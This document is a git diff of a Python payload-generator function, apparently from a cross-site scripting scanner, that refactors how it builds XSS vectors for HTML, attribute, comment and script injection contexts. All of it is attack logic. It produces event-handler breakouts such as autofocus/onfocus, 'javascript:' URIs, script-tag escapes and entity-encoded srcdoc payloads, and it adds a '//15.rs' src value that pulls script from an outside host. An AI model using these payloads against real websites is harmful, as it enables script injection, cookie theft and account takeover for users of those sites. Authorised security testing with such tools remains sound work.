@@ -9,116 +9,120 @@ def generator(occurences, response):
9
9
vectors = {11 : set (), 10 : set (), 9 : set (), 8 : set (), 7 : set (),
10
10
6 : set (), 5 : set (), 4 : set (), 3 : set (), 2 : set (), 1 : set ()}
11
11
for i in occurences :
12
- context = occurences [i ]['context' ][0 ]
13
- breaker = occurences [i ]['context' ][1 ]
14
- special = occurences [i ]['context' ][2 ]
15
- try :
16
- attributeName = list (occurences [i ]['context' ][3 ].keys ())[0 ]
17
- attributeValue = list (occurences [i ]['context' ][3 ].values ())[0 ]
18
- except AttributeError :
19
- attributeName = occurences [i ]['context' ][3 ]
20
- if special not in badTags :
21
- special = ''
22
- elif context == 'attribute' :
23
- special = '</' + special + '/>'
24
- else :
25
- special = ''
12
+ context = occurences [i ]['context' ]
26
13
if context == 'html' :
27
14
lessBracketEfficiency = occurences [i ]['score' ]['<' ]
28
15
greatBracketEfficiency = occurences [i ]['score' ]['>' ]
29
- breakerEfficiency = occurences [i ]['score' ][breaker ]
30
- if breaker == '\' ' or breaker == '"' :
31
- breaker = ''
32
- breakerEfficiency = 100
33
16
ends = ['//' ]
17
+ badTag = occurences [i ]['details' ]['badTag' ] if 'badTag' in occurences [i ]['details' ] else ''
34
18
if greatBracketEfficiency == 100 :
35
19
ends .append ('>' )
36
- if lessBracketEfficiency == breakerEfficiency == 100 :
20
+ if lessBracketEfficiency :
37
21
payloads = genGen (fillings , eFillings , lFillings ,
38
- eventHandlers , tags , functions , ends , breaker , special )
22
+ eventHandlers , tags , functions , ends , badTag )
39
23
for payload in payloads :
40
24
vectors [10 ].add (payload )
41
25
elif context == 'attribute' :
42
26
found = False
43
- breakerEfficiency = occurences [i ]['score' ][breaker ]
27
+ tag = occurences [i ]['details' ]['tag' ]
28
+ Type = occurences [i ]['details' ]['type' ]
29
+ quote = occurences [i ]['details' ]['quote' ] or ''
30
+ attributeName = occurences [i ]['details' ]['name' ]
31
+ attributeValue = occurences [i ]['details' ]['value' ]
32
+ quoteEfficiency = occurences [i ]['score' ][quote ] if quote in occurences [i ]['score' ] else 100
44
33
greatBracketEfficiency = occurences [i ]['score' ]['>' ]
45
34
ends = ['//' ]
46
35
if greatBracketEfficiency == 100 :
47
36
ends .append ('>' )
48
- if greatBracketEfficiency == 100 and breakerEfficiency == 100 :
37
+ if greatBracketEfficiency == 100 and quoteEfficiency == 100 :
49
38
payloads = genGen (fillings , eFillings , lFillings ,
50
- eventHandlers , tags , functions , ends , breaker , special )
39
+ eventHandlers , tags , functions , ends )
51
40
for payload in payloads :
52
- if breaker :
53
- payload = payload .replace (breaker , breaker + '>' )
54
- else :
55
- payload = '>' + payload
41
+ payload = quote + '>' + payload
56
42
found = True
57
- vectors [6 ].add (payload )
58
- if breakerEfficiency == 100 :
43
+ vectors [9 ].add (payload )
44
+ if quoteEfficiency == 100 :
59
45
for filling in fillings :
60
46
for function in functions :
61
- vector = breaker + filling + 'auTOfOcuS' + \
62
- filling + 'OnFoCUs' + '=' + breaker + function
47
+ vector = quote + filling + r ( 'autofocus' ) + \
48
+ filling + r ( 'onfocus' ) + '=' + quote + function
63
49
found = True
64
- vectors [6 ].add (vector )
65
- if breakerEfficiency == 90 :
50
+ vectors [8 ].add (vector )
51
+ if quoteEfficiency == 90 :
66
52
for filling in fillings :
67
53
for function in functions :
68
- vector = '\\ ' + breaker + filling + 'auTOfOcuS' + filling + \
69
- 'OnFoCUs' + '=' + function + filling + '\\ ' + breaker
54
+ vector = '\\ ' + quote + filling + r ( 'autofocus' ) + filling + \
55
+ r ( 'onfocus' ) + '=' + function + filling + '\\ ' + quote
70
56
found = True
71
- vectors [6 ].add (vector )
72
- if attributeName == 'srcdoc' :
73
- if occurences [i ]['score' ]['<' ]:
74
- if occurences [i ]['score' ]['>' ]:
75
- del ends [:]
76
- ends .append ('%26gt;' )
77
- payloads = genGen (
78
- fillings , eFillings , lFillings , eventHandlers , tags , functions , ends , '' , '' )
79
- for payload in payloads :
57
+ vectors [7 ].add (vector )
58
+ if Type == 'value' :
59
+ if attributeName == 'srcdoc' :
60
+ if occurences [i ]['score' ]['<' ]:
61
+ if occurences [i ]['score' ]['>' ]:
62
+ del ends [:]
63
+ ends .append ('%26gt;' )
64
+ payloads = genGen (
65
+ fillings , eFillings , lFillings , eventHandlers , tags , functions , ends )
66
+ for payload in payloads :
67
+ found = True
68
+ vectors [9 ].add (payload .replace ('<' , '%26lt;' ))
69
+ elif attributeName == 'href' and attributeValue == xsschecker :
70
+ for function in functions :
80
71
found = True
81
- vectors [9 ].add (payload .replace ('<' , '%26lt;' ))
82
- if attributeName .startswith ('on' ):
83
- closer = jsContexter (attributeValue )
84
- breaker = ''
85
- for char in attributeValue .split (xsschecker )[1 ]:
86
- if char in ['\' ' , '"' , '`' ]:
87
- breaker = char
88
- break
89
- if closer :
72
+ vectors [10 ].add (r ('javascript:' ) + function )
73
+ elif attributeName .startswith ('on' ):
74
+ closer = jsContexter (attributeValue )
75
+ quote = ''
76
+ for char in attributeValue .split (xsschecker )[1 ]:
77
+ if char in ['\' ' , '"' , '`' ]:
78
+ quote = char
79
+ break
90
80
suffix = '//\\ '
91
81
for filling in jFillings :
92
82
for function in functions :
93
- vector = breaker + closer + filling + function + suffix
83
+ vector = quote + closer + filling + function + suffix
94
84
if found :
95
85
vectors [7 ].add (vector )
96
86
else :
97
87
vectors [9 ].add (vector )
98
- elif breakerEfficiency > 83 :
99
- suffix = '//'
100
- for filling in jFillings :
88
+ if quoteEfficiency > 83 :
89
+ suffix = '//'
90
+ for filling in jFillings :
91
+ for function in functions :
92
+ if '=' in function :
93
+ function = '(' + function + ')'
94
+ if quote == '' :
95
+ filling = ''
96
+ vector = '\\ ' + quote + closer + filling + function + suffix
97
+ if found :
98
+ vectors [7 ].add (vector )
99
+ else :
100
+ vectors [9 ].add (vector )
101
+ elif tag in ('script' , 'iframe' , 'embed' , 'object' ):
102
+ if attributeName in ('src' , 'iframe' , 'embed' ) and attributeValue == xsschecker :
103
+ payloads = ['//15.rs' , '\\ /\\ \\ \\ /\\ 15.rs' ]
104
+ for payload in payloads :
105
+ vectors [10 ].add (payload )
106
+ elif tag == 'object' and attributeName == 'data' and attributeValue == xsschecker :
101
107
for function in functions :
102
- if '=' in function :
103
- function = '(' + function + ')'
104
- if breaker == '' :
105
- filling = ''
106
- vector = '\\ ' + breaker + closer + filling + function + suffix
107
- if found :
108
- vectors [7 ].add (vector )
109
- else :
110
- vectors [9 ].add (vector )
111
-
108
+ found = True
109
+ vectors [10 ].add (r ('javascript:' ) + function )
110
+ elif quoteEfficiency == greatBracketEfficiency == 100 :
111
+ payloads = genGen (fillings , eFillings , lFillings ,
112
+ eventHandlers , tags , functions , ends )
113
+ for payload in payloads :
114
+ payload = quote + '>' + r ('</script/>' ) + payload
115
+ found = True
116
+ vectors [11 ].add (payload )
112
117
elif context == 'comment' :
113
118
lessBracketEfficiency = occurences [i ]['score' ]['<' ]
114
119
greatBracketEfficiency = occurences [i ]['score' ]['>' ]
115
- breakerEfficiency = occurences [i ]['score' ][breaker ]
116
120
ends = ['//' ]
117
121
if greatBracketEfficiency == 100 :
118
122
ends .append ('>' )
119
- if lessBracketEfficiency == breakerEfficiency == 100 :
123
+ if lessBracketEfficiency == 100 :
120
124
payloads = genGen (fillings , eFillings , lFillings ,
121
- eventHandlers , tags , functions , ends , breaker , special )
125
+ eventHandlers , tags , functions , ends )
122
126
for payload in payloads :
123
127
vectors [10 ].add (payload )
124
128
elif context == 'script' :
@@ -130,37 +134,39 @@ def generator(occurences, response):
130
134
else :
131
135
continue
132
136
closer = jsContexter (script )
137
+ quote = occurences [i ]['details' ]['quote' ]
133
138
scriptEfficiency = occurences [i ]['score' ]['</scRipT/>' ]
134
139
greatBracketEfficiency = occurences [i ]['score' ]['>' ]
135
- breakerEfficiency = occurences [i ]['score' ][breaker ]
140
+ breakerEfficiency = 100
141
+ if quote :
142
+ breakerEfficiency = occurences [i ]['score' ][quote ]
136
143
ends = ['//' ]
137
144
if greatBracketEfficiency == 100 :
138
145
ends .append ('>' )
139
146
if scriptEfficiency == 100 :
140
147
breaker = r ('</script/>' )
141
148
payloads = genGen (fillings , eFillings , lFillings ,
142
- eventHandlers , tags , functions , ends , breaker , special )
149
+ eventHandlers , tags , functions , ends )
143
150
for payload in payloads :
144
151
vectors [10 ].add (payload )
145
152
if closer :
146
153
suffix = '//\\ '
147
- if not breaker :
148
- closer = closer [1 :]
149
- if breakerEfficiency != 100 :
150
- breaker = ''
151
154
for filling in jFillings :
152
155
for function in functions :
153
- vector = breaker + closer + filling + function + suffix
156
+ vector = quote + closer + filling + function + suffix
154
157
vectors [7 ].add (vector )
155
158
elif breakerEfficiency > 83 :
159
+ prefix = ''
156
160
suffix = '//'
161
+ if breakerEfficiency != 100 :
162
+ prefix = '\\ '
157
163
for filling in jFillings :
158
164
for function in functions :
159
165
if '=' in function :
160
166
function = '(' + function + ')'
161
- if breaker == '' :
167
+ if quote == '' :
162
168
filling = ''
163
- vector = ' \\ ' + breaker + closer + filling + function + suffix
169
+ vector = prefix + quote + closer + filling + function + suffix
164
170
vectors [6 ].add (vector )
165
171
index += 1
166
172
return vectors
0 commit comments